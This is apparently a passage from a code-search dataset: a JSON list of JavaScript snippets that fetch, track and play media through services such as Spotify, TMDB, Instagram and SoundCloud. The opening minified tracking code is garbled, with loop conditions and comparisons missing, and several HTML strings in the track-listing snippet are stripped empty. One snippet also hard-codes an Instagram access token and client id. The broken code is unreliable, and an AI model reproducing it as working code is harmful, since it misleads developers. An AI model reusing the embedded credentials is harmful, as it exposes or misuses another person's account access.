g==\"string\"){s=g.split(\",\");for(n=0;n0?g-a.r+a.a:\r\na.a);a.length>0&&(c=c0)a.c=a.u/a.length*100,a.c=a.c>100?100:a.c;if(a.a<0)a.a=c;u=a.C;i.name=w;i.ad=a.l;i.length=a.length;i.openTime=new Date;i.openTime.setTime(a.timestamp*1E3);i.offset=a.u;i.percent=a.c;i.playerName=a.playerName;i.mediaEvent=a.k<0?\"OPEN\":b==1?\"PLAY\":b==2?\"STOP\":b==3?\"MONITOR\":b==4?\"TRACK\":b==5?\"COMPLETE\":b==7?\"CLICK\":\"CLOSE\";if(b>2||b!=a.j&&(b!=2||a.j==1)){if(!d)h=a.m,d=a.e;if(b){if(b==1)a.a=c;if((b<=3||b>=5)&&a.k>=0)if(l=!1,s=n=\r\n\"None\",a.k!=c){f=a.k;if(f>c)f=a.a,f>c&&(f=c);k=p?p.split(\",\"):0;if(a.length>0&&k&&c>=f)for(j=0;j=e)l=!0,j=k.length,i.mediaEvent=\"MILESTONE\",a.o=i.milestone=e;if((k=q?q.split(\",\"):0)&&c>=f)for(j=0;j=e)l=!0,j=k.length,i.mediaEvent=\"OFFSET_MILESTONE\",a.p=i.offsetMilestone=e}if(a.K||!d){if(r&&p&&a.length>0){if(k=p.split(\",\")){k.push(\"100\");for(j=f=0;j0?a.length:\"E\"));for(j=f=0;j=0&&(l=!0)}if((b>=2||a.c>=100)&&a.a=0&&b<=3&&(o=o?o:0)&&a.f>=o)l=!0,i.mediaEvent=\r\n\"SECONDS\";a.r=g;a.a=c}if(!b||b<=3&&a.c>=100)a.j!=2&&(a.B+=\"E\"+Math.floor(c)),b=0,s=n=\"None\",i.mediaEvent=\"CLOSE\";if(b==7)l=i.clicked=a.q=!0;if(b==5||m.completeByCloseOffset&&(!b||a.c>=100)&&a.length>0&&c>=a.length-m.completeCloseOffsetThreshold)l=i.complete=a.complete=!0;g=i.mediaEvent;g==\"MILESTONE\"?g+=\"_\"+i.milestone:g==\"OFFSET_MILESTONE\"&&(g+=\"_\"+i.offsetMilestone);a.H[g]?i.eventFirstTime=!1:(i.eventFirstTime=!0,a.H[g]=1);i.event=i.mediaEvent;i.timePlayed=a.L;i.segmentNum=a.m;i.segment=a.e;i.segmentLength=\r\na.A;m.monitor&&b!=4&&m.monitor(m.s,i);b==0&&m.M(w);if(l&&a.C==u){w={};w.contextData={};w.linkTrackVars=s;w.linkTrackEvents=n;if(!w.linkTrackVars)w.linkTrackVars=\"\";if(!w.linkTrackEvents)w.linkTrackEvents=\"\";m.P(w,a);w.linkTrackVars||(w[\"!linkTrackVars\"]=1);w.linkTrackEvents||(w[\"!linkTrackEvents\"]=1);m.s.track(w);if(a.D)a.m=h,a.e=d,a.z=!0,a.D=!1;else if(a.f>0)a.z=!1;a.B=\"\";a.o=a.p=0;a.f-=Math.floor(a.f);a.k=c;a.C++}}}return a};m.O=function(w,b,c,h,d){var a=0;if(w&&(!m.autoTrackMediaLengthRequired||\r\nb&&b>0)){if(!m.list||!m.list[w]){if(c==1||c==3)m.open(w,b,\"HTML5 Video\",d),a=1}else a=1;a&&m.g(w,c,h,-1,0)}};m.attach=function(w){var b,c,h;if(w&&w.tagName&&w.tagName.toUpperCase()==\"VIDEO\"){if(!m.n)m.n=function(b,a,w){var c,f;if(m.autoTrack){c=b.currentSrc;(f=b.duration)||(f=-1);if(w<0)w=b.currentTime;m.O(c,f,a,w,b)}};b=function(){m.n(w,1,-1)};c=function(){m.n(w,1,-1)};m.i(w,\"play\",b);m.i(w,\"pause\",c);m.i(w,\"seeking\",c);m.i(w,\"seeked\",b);m.i(w,\"ended\",function(){m.n(w,0,-1)});m.i(w,\"timeupdate\",\r\nb);h=function(){!w.paused&&!w.ended&&!w.seeking&&m.n(w,3,-1);setTimeout(h,1E3)};h()}};m.i=function(m,b,c){m.attachEvent?m.attachEvent(\"on\"+b,c):m.addEventListener&&m.addEventListener(b,c,!1)};if(m.completeByCloseOffset==void 0)m.completeByCloseOffset=1;if(m.completeCloseOffsetThreshold==void 0)m.completeCloseOffsetThreshold=1;m.N=function(){var w,b;if(m.autoTrack&&(w=m.s.d.getElementsByTagName(\"VIDEO\")))for(b=0;b photo[\"@size\"] === \"pn\");\n }\n\n return { photos };\n }","function similarItems(media_type, id){\n tmdb_url = `https://api.themoviedb.org/3/${media_type}/${id}/similar?api_key=${api_key}&language=en-US&page=1`;\n try{\n const promise = axios.get(tmdb_url);\n const pm_data = promise.then(response => processSmallCarousel(response.data, media_type));\n return pm_data;\n } catch(error) {\n console.error(error);\n }\n}","static listMusic() {\n let music = new Array();\n\n music.push('sounds/music/incompetech/delightful_d.ogg');\n music.push('sounds/music/incompetech/twisting.ogg'); // Moody, good for cave.\n music.push('sounds/music/incompetech/pookatori_and_friends.ogg');\n music.push('sounds/music/incompetech/getting_it_done.ogg');\n music.push('sounds/music/incompetech/robobozo.ogg');\n music.push('sounds/music/incompetech/balloon_game.ogg');\n music.push('sounds/music/incompetech/cold_sober.ogg');\n music.push('sounds/music/incompetech/salty_ditty.ogg');\n music.push('sounds/music/incompetech/townie_loop.ogg'); // Very peaceful, flute.\n music.push('sounds/music/incompetech/mega_hyper_ultrastorm.ogg'); // Super energetic. Maybe for special.\n // Legacy\n music.push('sounds/music/music_peaceful_contemplative_starling.ogg');\n music.push('sounds/music/twinmusicom_8_bit_march.ogg');\n music.push('sounds/music/twinmusicom_nes_overworld.ogg');\n music.push('sounds/music/music_juhanijunkala_chiptune_01.ogg');\n\n return music;\n }","function mediaqueryresponse(mql){\n\t\t\t\tif (mql.matches) { // if media query matches\n\t\t\t\t\t\n\t\t\t\t} else if (!mql.matches) {\n\t\t\t\t\tsetupServices();\n\t\t\t\t}\n\t\t\t}","get media () {\n\n\t\tif (typeof this.elements === 'undefined') {\n\t\t\tthrow Error('Cannot access media until publication is loaded');\n\t\t}\n\n\t\treturn this.elements.filter(({ type }) => {\n\t\t\treturn type === 'media';\n\t\t}).map(({ data }) => {\n\t\t\treturn new Media(data);\n\t\t});\n\t}","function findSong(savedArrayOfChoices) {\n // declaring all vars according to savedArrayOfChoices \n var pickCountry = savedArrayOfChoices[0];\n var pickArtist = savedArrayOfChoices[1];\n var pickRelatedArtist = savedArrayOfChoices[2];\n var pickAlbum = savedArrayOfChoices[3];\n var pickSong = savedArrayOfChoices[4];\n\n // pushing country into chartQuery, returns artist\n var chartQuery = `chart.artists.get?page=1&page_size=4&country=${pickCountry}`;\n var musixUrl = `https://api.musixmatch.com/ws/1.1/${chartQuery}&format=jsonp&callback=callback&quorum_factor=1&apikey=${musixApikey}`;\n\n $.ajax({\n url: musixUrl,\n method: \"GET\",\n dataType: \"jsonp\"\n\n }).then(function (music) {\n\n // declaring artistId and artistname\n var artistId = music.message.body.artist_list[pickArtist].artist.artist_id;\n var artistName = music.message.body.artist_list[pickArtist].artist.artist_name;\n\n // pushing artistid, returns related artist\n var chartQuery = `artist.related.get?artist_id=${artistId}&page_size=4&page=1`;\n var musixUrl = `https://api.musixmatch.com/ws/1.1/${chartQuery}&format=jsonp&callback=callback&quorum_factor=1&apikey=${musixApikey}`;\n\n $.ajax({\n url: musixUrl,\n method: \"GET\",\n dataType: \"jsonp\"\n\n }).then(function (music) {\n\n // declaring related artist id and name\n var relatedArtistId;\n var relatedArtistName;\n\n // if no related artists, just use artist\n if (music.message.body.artist_list.length === 0) {\n relatedArtistId = artistId;\n relatedArtistName = artistName;\n }\n // otherwise use the related artist\n else {\n relatedArtistId = music.message.body.artist_list[pickRelatedArtist].artist.artist_id;\n relatedArtistName = music.message.body.artist_list[pickRelatedArtist].artist.artist_name;\n\n }\n\n // pushing relatedArtistId, returns album\n var chartQuery = `artist.albums.get?artist_id=${relatedArtistId}&s_release_date=desc&page_size=4`;\n var musixUrl = `https://api.musixmatch.com/ws/1.1/${chartQuery}&format=jsonp&callback=callback&quorum_factor=1&apikey=${musixApikey}`;\n\n $.ajax({\n url: musixUrl,\n method: \"GET\",\n dataType: \"jsonp\"\n\n }).then(function (music) {\n\n // declaring album id\n var albumId\n\n // if statements for if the artist doesn't have 4 albums\n if (music.message.body.album_list.length === pickSong) {\n albumId = music.message.body.album_list[pickAlbum].album.album_id;\n }\n else if (music.message.body.album_list.length === 3) {\n albumId = music.message.body.album_list[2].album.album_id;\n\n }\n else if (music.message.body.album_list.length === 2) {\n albumId = music.message.body.album_list[1].album.album_id;\n }\n else {\n albumId = music.message.body.album_list[0].album.album_id;\n\n }\n\n // pushing albumID, returns song\n var chartQuery = `album.tracks.get?album_id=${albumId}&page=1&page_size=4`;\n var musixUrl = `https://api.musixmatch.com/ws/1.1/${chartQuery}&format=jsonp&callback=callback&quorum_factor=1&apikey=${musixApikey}`;\n\n $.ajax({\n url: musixUrl,\n method: \"GET\",\n dataType: \"jsonp\"\n\n }).then(function (music) {\n // declaring song name\n var songName;\n\n // if statements for if the album doesn't have 4 songs\n if (music.message.body.track_list.length === pickSong) {\n songName = music.message.body.track_list[pickSong].track.track_name;\n\n }\n else if (music.message.body.track_list.length === 3) {\n songName = music.message.body.track_list[2].track.track_name;\n\n }\n else if (music.message.body.track_list.length === 2) {\n songName = music.message.body.track_list[1].track.track_name;\n\n }\n else {\n songName = music.message.body.track_list[0].track.track_name;\n\n }\n // finds video with youtube api\n getVideo(`${songName} ${relatedArtistName}`);\n\n // sets the text of final-artist-song to the song and artist that is found\n $(\"#final-artist-song\").text(`${songName} by ${relatedArtistName}`);\n });\n });\n });\n });\n}","function getEmbededMedia(item, cb) {\n\tvar oembed,\n\t\tu = '',\n\t\thost = url.parse(item.url).host,\n\t\t\to = {\n\t\t\t\turl: item.url,\n\t\t\t\tmaxwidth: item.maxwidth//435,\n\t\t\t\t//maxheight: 244\n\t\t\t};\n\t\n\tif (host.match(/vimeo.com/ig)) {\n\t\tu = config.vimeo.oembed_url + '?' + qs.stringify(o);\n\t} else if (host.match(/youtube.com|youtu.be/ig)) {\n\t\to.format = 'json';\n\t\tu = config.youtube.oembed_url + '?' + qs.stringify(o);\n\t} else if (host.match(/instagr.am|instagram/)) {\n\t\tu = config.instagram.oembed_url + '?' + qs.stringify(o);\n\t}\n\telse return cb(null, {});\n\t\n\tr.get({url: u, json: true}, function(err, resp, body) {\n\t\tif (!err && resp.statusCode === 200) {\n\t\t\treturn cb(null, body);\n\t\t} else {\n\t\t\tif (err) return cb(err);\n\t\t\telse if (err instanceof Error) return cb(new Error(err));\n\t\t\telse return cb(new Error(body.errors[0].message));\n\t\t}\n\t});\n}","function getRecentMediaByTag(tag) {\r\n\tvar url = \"https://api.instagram.com/v1/tags/\"\r\n\t\t\t+ tag\r\n\t\t\t+ \"/media/recent\"\r\n\t\t\t+ \"?callback=?&access_token=539668504.2c39d74.5b6021beec4048f0bdba845c38919103&client_id=97bf64bca67344afbbe8ea64caa8e617\";\r\n\r\n\t$.getJSON(url, cacheData);\r\n}","function findAll(done) {\n _connect(function(err, db) {\n if (err) return done(err);\n db.collection('mediaentries').find({}, done);\n });\n }","function getMediaElements(where) {\n return getElementsByTagName(\"media:content\", where).map((elem) => {\n const { attribs } = elem;\n const media = {\n medium: attribs[\"medium\"],\n isDefault: !!attribs[\"isDefault\"],\n };\n for (const attrib of MEDIA_KEYS_STRING) {\n if (attribs[attrib]) {\n media[attrib] = attribs[attrib];\n }\n }\n for (const attrib of MEDIA_KEYS_INT) {\n if (attribs[attrib]) {\n media[attrib] = parseInt(attribs[attrib], 10);\n }\n }\n if (attribs[\"expression\"]) {\n media.expression = attribs[\"expression\"];\n }\n return media;\n });\n}","medias() {\n\t\treturn this.recentlyAddedMedias.concat(this.initialMedias)\n\t}","function getMedia(event) {\n event.preventDefault();\n\n let url = `/media/${this.getAttribute('href')}`;\n\n fetch(url)\n .then(res => res.json())\n .then(data => {\n showMedia(data);\n })\n .catch((err) => console.log(err));\n\n\n for (let i = 0; i < navLink.length; i++) {\n navLink[i].classList.remove('navSelected'); // Removes selected class from all nav links\n }\n this.classList.add('navSelected'); // Adds selected class to chosen nav link\n }","function html5media() {\n scanElementsByTagName(\"video\");\n scanElementsByTagName(\"audio\");\n }","function getItems(lat, lng, miles, imagelist) {\n //console.log(\"search service\", imagelist);\n var distance=\"false\";\n if (miles) {\n distance=\"true\";\n }\n // return items.query({lat: lat, lng: lng, miles: miles, 'imagelist[]':imagelist, distance:distance, order:\"asc\"});\n return Image.query({lat: lat, lng: lng, miles: miles, 'imagelist[]':imagelist, distance:distance, order:\"asc\"});\n\n }","function cmd(a,b,c){var d=\"\";if(b.mode==\"user\"){d=\"https://api.instagram.com/v1/users/\"+c+\"/media/recent/?callback=?\"}else{d=\"https://api.instagram.com/v1/media/popular?callback=?\"}$.getJSON(d,a,function(a){onPhotoLoaded(a,b)})}","function html5media() {\r\n scanElementsByTagName(\"video\");\r\n scanElementsByTagName(\"audio\");\r\n }","async list(queryObj) {\n const result = await this.doRequest({\n path: \"/files\",\n method: \"GET\",\n params: {\n path: (queryObj === null || queryObj === void 0 ? void 0 : queryObj.path) || \"/\",\n pagination_token: queryObj === null || queryObj === void 0 ? void 0 : queryObj.paginationToken,\n qty: (queryObj === null || queryObj === void 0 ? void 0 : queryObj.quantity) || 300,\n },\n });\n return result;\n }","function mediaMgmt()\r\n{\r\n this.ucatMediaClass();\r\n this.setupMedia = function (containerElement, options)\r\n {\r\n //AUDIO OR VIDEO\r\n $(containerElement).find(\"audio, video\").each(function ()\r\n {\r\n var tag = $(this);\r\n //Only convert media if not already converted;\r\n if(!$(this).hasClass(\"ucatMEdiaTag\")){\r\n $(this).addClass(\"ucatMEdiaTag\");\r\n var mediaType = tag.prop(\"tagName\").toLowerCase();//Audio or video\r\n var argumentOptions = mediaType == 'audio' ? options.audio : options.video;\r\n var transcriptHighlights = options.transcriptHighlights;\r\n var defaultOptions = mediaType == 'audio' ? defaultUcatAudioOptions : defaultUcatVideoOptions\r\n reconcileGlobalVariable(argumentOptions, defaultOptions);\r\n var tagOptions = copyGlobalVariable(argumentOptions);\r\n $.each(tag[0].dataset, function (key, value)\r\n {\r\n var valueType = typeof (defaultOptions[key]);\r\n switch (valueType)\r\n {\r\n case \"boolean\":\r\n value = parseBoolean(value);\r\n break;\r\n case \"number\":\r\n value = parseInt(value);\r\n break;\r\n default:\r\n value = String(value);\r\n break;\r\n }\r\n tagOptions[key] = value;\r\n });\r\n //The media browser plug-in passes the videosizetitle as a data-attribute;\r\n //legacy media should use standard playersize as fallback\r\n tagOptions.videosize = tagOptions.videosizetitle ? window[tagOptions.videosizetitle] : standardVideoPlayer;\r\n tagOptions.transcriptHighlights = transcriptHighlights;\r\n for (var th = 0; th < tagOptions.transcriptHighlights.length; th++)\r\n {\r\n tagOptions.transcriptHighlights[th].visible = true;\r\n }\r\n //Addded to force complete download of media\r\n // tag.attr(\"preload\",\"auto\");\r\n\r\n //simply means that the browser has loaded enough meta-data to know the media’s .duration\r\n tag.on('loadedmetadata', { o: tagOptions }, function (e)\r\n {\r\n ucatAudioVideo(containerElement, this, e.data.o)\r\n });\r\n }\r\n });\r\n\r\n //Other file types\r\n $(containerElement).find(\".doc, .xls, .ppt, .pdf, .file\").each(function ()\r\n {\r\n setupDocumentLink($(this));\r\n });\r\n }\r\n\r\n return this;\r\n}","function getAll(){\n\tvar pictures = document.getElementById(\"picture\");\n\taudio.src = SingleList[i].audio;\n\tpictures.src = SingleList[i].picture;\n\t$('#nowplay').html(SingleList[i].artistSong());\n\t\n\taudio.play();\n\n}","function getTracks(searchTerm, limit, tracksDiv, ids, playlistID) {\n\n if(!ids) {\n var filter = {\n q : searchTerm,\n limit : limit\n }\n } else {\n var filter = {\n ids : ids\n }\n }\n\n SC.get('/tracks/', filter, function(tracks, error) {\n if(tracks) {\n tracksDiv.html('');\n\n $.each(tracks, function(key, track){\n\n var pictureUrl;\n var genre;\n var wrapper;\n\n if(track.artwork_url == null)\n pictureUrl = 'includes/imgs/no-image.jpg';\n else\n pictureUrl = track.artwork_url;\n\n if(track.genre == null)\n genre = \"Undefined\";\n else\n genre = track.genre.trunc(15);\n\n var title = $(''+track.title.trunc(40)+'');\n var stats = $('
    '+track.playback_count+' '+track.comment_count+' '+track.favoritings_count+' '+genre+'
    ');\n var player = $('
    ');\n var clear = $('
    ');\n var wrapper = $('
  • \"'+track.title+'\"
  • ');\n \n wrapper.append(title).append(player).append(stats).append(clear);\n if(playlistID) {\n var remove = $('
    ');\n wrapper.append(remove);\n }\n tracksDiv.append(wrapper);\n\n player.scPlayer({\n links: [{url: track.permalink_url, title: track.title}]\n });\n\n wrapper.draggable({\n stack: '#tracks li',\n revert: true,\n cursor: 'move',\n containment: '#content'\n });\n });\n\n if(error)\n tracksDiv.html('

    No tracks found.

    ');\n\n } else {\n console.log(\"The get statement must be wrong.\");\n //triggerNotification(error);\n }\n\n });\n}","function processMulti(response){\n response = response.results;\n results_list = [];\n var i = 0;\n while(results_list.length < 7 && i < response.length){\n if(response[i].media_type === 'movie' || response[i].media_type === 'tv'){\n\n if(response[i].backdrop_path !== undefined && response[i].backdrop_path !== null\n\t && response[i].poster_path !== undefined && response[i].poster_path !== null){\n m_item = {}\n m_item['id'] = response[i].id;\n m_item['backdrop_path'] = \"https://image.tmdb.org/t/p/w500\" + response[i].backdrop_path\n m_item['media_type'] = response[i].media_type;\n\n field_name = \"title\";\n if(response[i].media_type === \"tv\"){\n field_name = \"name\";\n }\n if(response[i][field_name] !== undefined && response[i][field_name] !== null){\n m_item['name'] = response[i][field_name];\n }\n results_list.push(m_item);\n }\n }\n i++;\n }\n\n\n query_results = {'data': results_list};\n return query_results;\n}","function readAlbumsFromDb() {\n musicDb.allDocs({\n include_docs: true,\n startkey: 'album_',\n endkey: 'album_\\uffff'\n }).then(function (resultFromDb) {\n processInfoFromDb(resultFromDb)\n }).catch(function (err) {\n console.log(err)\n })\n }","async fetchYourSoundtracks(ctx) {\n let docRef = await db.collection(auth.currentUser.uid).doc(ctx.getters.getSoundtracksId);\n let data = []\n await docRef.get().then(e => {\n data.push(e.data())\n });\n delete data[0].soundtracks;\n let resultArray = Object.keys(data[0]).map(function(key) {\n return [Number(key), data[0][key]];\n });\n resultArray.sort((a, b) => (a[1].soundtrackTitle > b[1].soundtrackTitle) ? 1 : -1)\n ctx.commit('setSoundtrackList', resultArray);\n localStorage.setItem('userSoundtracks', JSON.stringify(resultArray));\n }","get mediaListView() {\n return this._mediaListView;\n }","function media(){\n qtd_args = arguments.length;\n soma = 0;\n console.log('total args: '+qtd_args);\n for (i=0;i {\n if (data.length) {\n this.setItems(data);\n }\n }\n );\n }","static getAllArtists(){\n try{\n\n const data = connection.query(`select distinct artist from music`);\n\n return {status: 0, message: 'Ok', results: data};\n } catch (error){\n return{ status: 1, message: 'Error: ' + error, error}\n }\n }","function addTrack(ID) {\n var query = \" SELECT concat('file://','/', u.rpath)\";\n query += \" FROM tracks t, urls u\";\n query += \" where t.id=\"+ID;\n query += \" and t.url=u.id\";\n var result = sql(query);\n Amarok.Playlist.addMedia(new QUrl(result[0]));\n}","function spotifysong(song) {\n\n spotify.search({ type: 'track', query: song, limit: 20 }, function (err, data) {\n if (err) {\n return console.log('Error occurred: ' + error);\n }\n for (var i = 0; i < data.tracks.items.length; i++) {\n console.log(i);\n console.log(\"artist(s) : \" + data.tracks.items[i].album.artists[0].name);\n console.log(\"song name : \" + data.tracks.items[i].name);\n console.log(\"preview song : \" + data.tracks.items[i].preview_url)\n console.log(\"album : \" + data.tracks.items[i].album.name)\n console.log(\"----------------------------------------------\")\n }\n // console.log(data.tracks.items)\n\n });\n\n}","async function __prepareFiles() {\n const files = albumDetails.pictures,\n preparedFiles = [];\n\n for (let url of preSignedUrls) {\n let obj = files.find((file) => file.name === url.fileName)\n preparedFiles.push({ rawFile: obj.file, uploadUrl: url.url })\n }\n\n return preparedFiles;\n }","_loadSongs(selectContainer) {\n const PATH='https://fullstackccu.github.io/homeworks/hw4/songs.json';\n const onJsonReady=(json)=>{\n this.songList=json;\n this._createSongs(selectContainer);\n };\n\n fetch(PATH)\n .then(response => response.json())\n .then(onJsonReady);\n }","media(key, path) {\n console.log('[Media]', 'cache', `${key} (${path})`);\n\n this.game.cache.addSound(key, '', {\n path,\n }, false, false);\n\n return this;\n }","function getSong(track) {\n // If there is no track listed display the default of \"The Sign, by Ace of Base\"\n if (track === \"\" || track === undefined || track === null) {\n var defaultTrack = \"The Sign\";\n spotify.search({ type: \"track\", query: defaultTrack, limit: 10 }, function (err, response) {\n if (err) {\n return console.log('It seems you have an error:: ' + err);\n }\n //the default was displaying The Sign by Ty Dolla Sign so I just hard coded the default\n console.log('---------------------------------------------\\nArtist: \"' + \"Ace of Base\" +\n '\"\\nTrack: \"' + \"The Sign\" +\n '\"\\nAlbum: \"' + \"The Sign (US Album) [Remastered]\" +\n '\"\\nLink: \"' + \"https://p.scdn.co/mp3-preview/4c463359f67dd3546db7294d236dd0ae991882ff?cid=731f3e4c779047e89b0f836152cd61cc\" + '\"\\n');\n });\n }\n else {\n //run if a track is listed\n spotify.search({ type: \"track\", query: track, limit: 3 }, function (err, response) {\n if (err) {\n return console.log('It seems you have an error:: ' + err);\n }\n for (i = 0; i < response.tracks.items.length; i+=1) {\n // if there is no preview default a link\n if (response.tracks.items[i].preview_url === null) {\n console.log('---------------------------------------------\\nArtist: \"' + response.tracks.items[i].album.artists[0].name +\n '\"\\nTrack: \"' + response.tracks.items[i].name +\n '\"\\nAlbum: \"' + response.tracks.items[i].album.name +\n '\"\\nLink: \"' + response.tracks.items[i].album.external_urls.spotify + '');\n }\n else {\n console.log('---------------------------------------------\\nArtist: \"' + response.tracks.items[i].album.artists[0].name +\n '\"\\nTrack: \"' + response.tracks.items[i].name +\n '\"\\nAlbum: \"' + response.tracks.items[i].album.name +\n '\"\\nLink: \"' + response.tracks.items[i].preview_url + '\"');\n }\n }\n });\n }\n}","async getSharedAlbums(){\n const token = await GoogleSignin.getTokens();\n await this.getDbUserData();\n data = {\n URI: 'https://photoslibrary.googleapis.com/v1/sharedAlbums?excludeNonAppCreatedData=true',\n method: 'GET',\n headers: {\n 'Authorization': 'Bearer '+ token.accessToken,\n 'Content-type': 'application/json'\n },\n }\n response = await this.APIHandler.sendRequest(data);\n return response\n }","function spotifyThisSong() {\n let song = \"The Sign Ace of Base\";\n if (searchTerm) {\n song = searchTerm;\n }\n spotify.request('https://api.spotify.com/v1/search?q=track:' + song + '&type=track&limit=10', function (error, response) {\n for (i = 0; i < 3; i++) {\n if (error) {\n return console.log(error);\n }\n console.log(\"\\nArtist: \" + response.tracks.items[i].artists[0].name + \"\\nSong: \" + response.tracks.items[i].name + \"\\nPreview: \" + response.tracks.items[i].preview_url + \"\\nAlbum: \" + response.tracks.items[i].album.name);\n };\n });\n}","function spotifySearch(){\n spotify.search({ type: 'track', query: songToSearch}, function(error, data){\n if(!error){\n for(var i = 0; i < data.tracks.items.length; i++){\n var song = data.tracks.items[i];\n console.log(\"Artist: \" + song.artists[0].name);\n console.log(\"Song: \" + song.name);\n console.log(\"Preview: \" + song.preview_url);\n console.log(\"Album: \" + song.album.name);\n console.log(\"-----------------------\");\n }\n } else{\n console.log('Error occurred.');\n }\n });\n }","async getAlbums(){\n const token = await GoogleSignin.getTokens();\n await this.getDbUserData();\n data = {\n URI: 'https://photoslibrary.googleapis.com/v1/albums?excludeNonAppCreatedData=true',\n method: 'GET',\n headers: {\n 'Authorization': 'Bearer '+ token.accessToken,\n 'Content-type': 'application/json'\n },\n }\n response = await this.APIHandler.sendRequest(data);\n return response\n }","read({ sponsor, user }, res) {\n const where = {sponsorId: sponsor.id}\n Promise.all([\n SponsorLike.findOne({where:{...where,\n userId: user.id,\n }}),\n SponsorLink.findAll({where}),\n SponsorMedia.findAll({where}),\n ])\n .then(([like, links, mediaObjs])=>{\n let s = resolveUploadSrc(sponsor.toJSON(), ['logo']);\n if (like) {\n s.like = true;\n }\n links = links.map( ({name, url}) => ({name, url}) );\n const media = mediaObjs.map( ({url}) => url);\n\n res.json({...s, links, media, mediaObjs});\n })\n }","function getAudio(device_id) {\n $.ajax({\n url: \"https://api.spotify.com/v1/me/player/play?device_id=\" + device_id,\n type: \"PUT\",\n data: '{\"uris\": [\"spotify:track:' + track + '\"]}',\n beforeSend: function (xhr) {\n xhr.setRequestHeader('Authorization', 'Bearer ' + _token)\n },\n success: function (data) {\n /*console.log(data)*/\n }\n })\n }","function callAPI(query) {\n\t$.get(\"https://api.soundcloud.com/tracks?client_id=b3179c0738764e846066975c2571aebb\",\n\t\t{'q': query,\n\t\t'limit': '20'},\n\t\tfunction(data) {\n\n\t\t\tresetTable('searchBody')\n\t\t\t$.each(data, function(i, v) {\n\t\t\t\tvar artwork = '_css/artwork.jpg'\n\t\t\t\tif (v.artwork_url != null){\n\t\t\t\t\tartwork = v.artwork_url;\n\t\t\t\t} \n\t\t\t\tvar title = v.title;\n\t\t\t\tvar artist = v.artist;\n\t\t\t\tvar artist = v.user.username;\n\t\t\t\tvar url = v.permalink_url;\n\t\t\t\taddSong(artwork, title, url, artist);\n\t\t\t\t// console.log(data);\n\t\t\t});\n\t\t},'json'\n\t);\n}","componentDidMount() {\n client.photos.search({ query: 'cats', locale: 'en-US', per_page: 24 }).then(res => {\n this.setState({\n catPics: res.photos\n });\n })\n .catch(error => {\n console.log('Error fetching and parsing data', error);\n });\n\n client.photos.search({ query: 'dogs', locale: 'en-US', per_page: 24 }).then(res => {\n this.setState({\n dogPics: res.photos\n });\n })\n .catch(error => {\n console.log('Error fetching and parsing data', error);\n });\n\n client.photos.search({ query: 'computers', locale: 'en-US', per_page: 24 }).then(res => {\n this.setState({\n computerPics: res.photos\n });\n })\n .catch(error => {\n console.log('Error fetching and parsing data', error);\n });\n }","function parseImage(items) {\n var curr_data = [];\n items.forEach(function (element, index, array) {\n console.log(element.media_key.S);\n getImage(element.media_key.S).then((img) => {\n curr_data.push(img);\n if (curr_data.length == items.length) {\n displayImages(curr_data);\n }\n })\n })\n }","async cleanUpMusic() {\n const docs = await this.db.getDocuments('music');\n const hashes = {};\n \n for(let i = 0; i < docs.length; i++) {\n const doc = docs[i];\n \n if(\n !doc.fileHash || \n typeof doc.fileHash != 'string' ||\n (\n !this.isFileAdding(doc.fileHash) && \n !await this.hasFile(doc.fileHash) &&\n await this.db.getMusicByFileHash(doc.fileHash)\n )\n ) {\n await this.db.deleteDocument(doc);\n continue;\n }\n\n hashes[doc.fileHash] = true;\n }\n\n await this.iterateFiles(async filePath => {\n try {\n const hash = path.basename(filePath);\n\n if(!hashes[hash] && !this.isFileAdding(hash) && !await this.db.getMusicByFileHash(hash)) {\n await this.removeFileFromStorage(hash);\n }\n }\n catch(err) {\n this.logger.warn(err.stack);\n }\n });\n }","static getFilmsFromStorage()\n {\n let films;\n if(localStorage.getItem('films') === null)\n {\n films = [];\n }else{\n films = JSON.parse(localStorage.getItem('films'));\n }\n return films;\n }","function getMusic(songName) {\n\n // If no song name, defaults The Sign by Ace\n if (!songName) {\n var songName = \"The Sign Ace\";\n }\n\n spotify.search({ type: 'track', query: songName }, function (err, data) {\n if (err) {\n return console.log('Error occurred: ' + err);\n }\n\n var trackObj = data.tracks.items[0];\n\n // Artist(s)\n console.log(`Artist: ${trackObj.artists[0].name}`);\n\n // The song's name\n console.log(`Song Name: ${trackObj.name}`);\n\n // A preview link of the song from Spotify\n console.log(`Preview Link: ${trackObj.external_urls.spotify}`);\n\n // The album that the song is from\n console.log(`Album Name: ${trackObj.album.name}`);\n });\n}","getInitialData() {\n GalleriesService.findById(this.props.match.params.id, (error, item) => {\n if (error) {\n console.log(error);\n } else if (item == null) {\n // Gallery not found.\n this.setState({ alertText: `La gallerie qui a pour id ${this.state.match.params.id} n'a pas été trouvée.` });\n } else {\n this.setState({ gallery: item,\n editGallery : {\n name: item.name,\n description: item.description\n }});\n\n // Get medias\n MediasService.find({ _id: { $in: item.medias } }, (error, items) => {\n if (error) {\n console.log(error);\n } else {\n this.setState({ images: [...items] });\n }\n });\n }\n });\n }","function s3ListObjects(token, collection = []) {\n return listObjects({\n Bucket: bucket,\n Prefix: 'sound-sync/',\n ContinuationToken: token,\n }).then(({ IsTruncated, Contents, NextContinuationToken }) => {\n const contents = collection.concat(Contents);\n return IsTruncated\n ? s3ListObjects(NextContinuationToken, contents)\n : contents;\n });\n}","function playThatFunkyMusic(songName) {\n spotify\n .search({ type: \"track\", query: songName, limit: 5 })\n .then(function(response) {\n response.tracks.items.forEach(function(song) {\n console.log(\n `\n Artist(s): ${song.album.artists[0].name}\n Song Name: ${song.name}\n Preview Link: ${song.preview_url}\n Album: ${song.album.name}\n `\n );\n });\n\n // console.log(\n // `\n // Artist(s): ${response.tracks.items[0].album.artists[0].name}\n // Song Name: ${response.tracks.items[0].name}\n // Preview Link: ${response.tracks.items[0].preview_url}\n // Album: ${response.tracks.items[0].album.name}\n // `\n // );\n })\n .catch(function(err) {\n console.log(err);\n });\n}"],"string":"[\n \"async getMediaItems(albumID){\\n //Reponse contains an array of (id, description, productUr, mediaMetaData, filename)\\n const token = await GoogleSignin.getTokens();\\n await this.getDbUserData();\\n data = {\\n URI: 'https://photoslibrary.googleapis.com/v1/mediaItems:search',\\n method: 'POST',\\n headers: {\\n 'Authorization': 'Bearer '+ token.accessToken,\\n 'Content-type': 'application/json'\\n },\\n body: JSON.stringify({\\n \\\"pageSize\\\":\\\"100\\\",\\n \\\"albumId\\\": albumID\\n })\\n }\\n response = await this.APIHandler.sendRequest(data);\\n return response.mediaItems\\n }\",\n \"function MediaByTag() {\\r\\n\\tvar caption;\\r\\n\\tvar link;\\r\\n\\tvar tags;\\r\\n\\tvar comments;\\r\\n\\tvar likes;\\r\\n\\tvar imageUrls;\\r\\n\\tvar userInfo;\\r\\n}\",\n 